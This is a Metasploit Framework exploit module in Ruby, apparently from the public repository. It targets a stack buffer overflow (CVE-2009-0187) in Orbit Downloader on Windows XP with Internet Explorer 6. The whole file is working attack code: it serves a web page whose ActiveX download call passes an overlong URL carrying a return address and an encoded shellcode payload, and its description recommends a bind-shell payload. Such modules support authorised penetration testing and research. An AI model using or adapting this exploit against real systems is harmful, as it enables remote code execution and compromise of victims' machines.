modules/exploits/windows/browser/orbit_connecting.rb from rapid7/metasploit-framework

modules/exploits/windows/browser/orbit_connecting.rb
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Orbit Downloader Connecting Log Creation Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Orbit Downloader 2.8.4. When an
        attacker serves up a malicious web site, arbitrary code may be executed.
        The PAYLOAD windows/shell_bind_tcp works best.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC' ],
      'References'     =>
        [
          [ 'CVE', '2009-0187' ],
          [ 'OSVDB', '52294' ],
          [ 'BID', '33894' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'AllowWin32SEH' => true
        },
      'Payload'        =>
        {
          'Space'         => 750,
          'BadChars'      => "\x00\x09\x0a\x0d'\\&",
          'StackAdjustment' => -3500,
          'PrependEncoder'  => "\x81\xc4\x54\xf2\xff\xff",
          'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
          'DisableNops'  =>  'True',
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP0-SP3 / IE 6.0 SP0-SP2',  { 'Ret' => 0x1008dee3 } ], # download.dll 2.7.0.6
        ],
      'DisclosureDate' => '2009-02-03',
      'DefaultTarget'  => 0))
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Randomize some things
    vname      = rand_text_alpha(rand(100) + 1)
    strname = rand_text_alpha(rand(100) + 1)

    # Set the exploit buffer
    sploit = "http://" + rand_text_alpha(508) + [target.ret].pack('V') + p.encoded + ".com"

    # Build out the message
    content = %Q|<html>
<object classid='clsid:3F1D494B-0CEF-4468-96C9-386E2E4DEC90' id='#{vname}'></object>
<script language='javascript'>
var #{vname} = document.getElementById('#{vname}');
var #{strname} = new String('#{sploit}');
#{vname}.download(#{strname}, #{vname}, #{vname}, #{vname}, 1);
</script>
</html>
|

    content = Rex::Text.randomize_space(content)

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end